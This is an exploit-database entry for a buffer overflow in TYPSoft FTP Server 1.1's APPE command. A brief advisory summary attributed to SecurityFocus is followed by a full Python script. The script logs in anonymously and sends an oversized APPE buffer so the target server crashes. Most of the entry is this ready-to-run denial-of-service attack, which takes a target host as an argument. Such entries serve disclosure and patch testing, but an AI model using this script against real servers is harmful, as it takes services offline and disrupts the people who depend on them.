TYPSoft FTP Server 1.1 – ‘APPE’ Remote Buffer Overflow
source: https://www.securityfocus.com/bid/52554/info TYPSoft FTP Server is prone to a buffer-overflow vulnerability. An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. TYPSoft FTP Server 1.1.0 is vulnerable; other versions may also be affected. #!/usr/bin/python import socket, sys if len(sys.argv)!= 2: print '\n\t[*] Usage: ./' + sys.argv[0] + ' <target host>' sys.exit(1) print '\n\t[*] TypesoftFTP Server 1.1 Remote DoS (APPE) by Brock Haun' host = sys.argv[1] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) buffer = 'A../' + '\x41' *100 print '\n\t[*] Sending crash buffer ("A../ + \x41 * 100").' s.connect((host,21)) data = s.recv(1024) s.send('USER anonymous' + '\r\n') data = s.recv(1024) s.send('PASS anonymous' + '\r\n') data = s.recv(1024) s.send('APPE ' + buffer + '\r\n') print '\n\t[*] Done! Target should be unresponsive!' s.close() |